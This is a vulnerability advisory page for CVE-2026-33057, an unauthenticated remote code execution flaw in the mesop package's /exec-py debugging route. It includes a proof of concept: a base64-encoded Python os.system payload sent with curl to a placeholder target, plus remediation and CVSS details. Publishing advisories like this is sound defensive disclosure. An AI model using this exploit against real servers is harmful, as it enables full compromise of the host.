Loading...
Skip to main content

CVE-2026-33057 — Vulnerability in mesop — CVE Details

CRITICAL

Mesop Affected by Unauthenticated Remote Code Execution via Test Suite Route /exec-py

Published March 18, 2026Updated June 29, 2026Source: osv

Summary

#### Summary An explicit web endpoint inside the `ai/` testing module infrastructure directly ingests untrusted Python code strings unconditionally without authentication measures, yielding standard Unrestricted Remote Code Execution. Any individual capable of routing HTTP logic to this server block will gain explicit host-machine command rights. #### Details The AI codebase package includes a lightweight debugging Flask server inside `ai/sandbox/wsgi_app.py`. The `/exec-py` route accepts base_64 encoded raw string payloads inside the `code` parameter natively evaluated by a basic `POST` web request. It saves it rapidly to the operating system logic path and injects it recursively using `execute_module(module_path...)`. ```python # ai/sandbox/wsgi_app.py @flask_app.route("/exec-py", methods=["POST"]) def exec_py_route(): code = base64.urlsafe_b64decode(request.form.get("code")) # ... code is blindly written to file and forcefully executed ``` #### PoC ```bash # Payload: # import os # os.system('echo "pwned by attacker" > /tmp/pwned.txt') # # Base64 string represents the identical payload block above: # aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ== curl -X POST http://<target_ip_address_hosting_sandbox>:port/exec-py \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "code=aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ==" # Validate exploitation target execution natively: # $ cat /tmp/pwned.txt # pwned by attacker ``` #### Impact This presents trivial severity for systems publicly exposed or lacking strictly verified boundary firewalls due to absolute unauthenticated command injection privileges targeting the direct execution interpreter running this service sandbox.

Advisory Timeline

  • First published March 18, 2026 (208 days ago).
  • Last revised June 29, 2026 — 103 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

pip
Update mesop to 1.2.3 or later
pip install "mesop>=1.2.3"

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: pypi (1).

PackageEcosystemAffectedFixed In
mesop
pypi
0.0.1, 0.10.0, 0.10.0rc0, 0.10.0rc1 (+88 more)1.2.3

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.8 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Frequently Asked Questions

What is CVE-2026-33057?
Mesop Affected by Unauthenticated Remote Code Execution via Test Suite Route /exec-py This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.8/10).
How do I check if my project is affected by CVE-2026-33057?
CVE-2026-33057 affects mesop. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-33057 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
9.8

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-gjgx-rvqr-6w6v
PYSEC-2026-412

Related CVEs

  • CVE-2026-33054
    CRITICAL

    Mesop has a Path Traversal utilizing `FileStateSessionBackend` leads to Application Denial of Service and File Write/Deletion

  • CVE-2026-61447
    CRITICAL

    PraisonAI: CodeAgent Executes LLM-Generated Code Without Sandboxing and Leaks All Environment Secrets

  • CVE-2026-33054
    CRITICAL

    Mesop has a Path Traversal utilizing `FileStateSessionBackend` leads to Application Denial of Service and File Write/Deletion

  • CVE-2026-61445
    CRITICAL

    PraisonAI: AICoder Arbitrary File Write and Command Execution via LLM Tool Calls

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies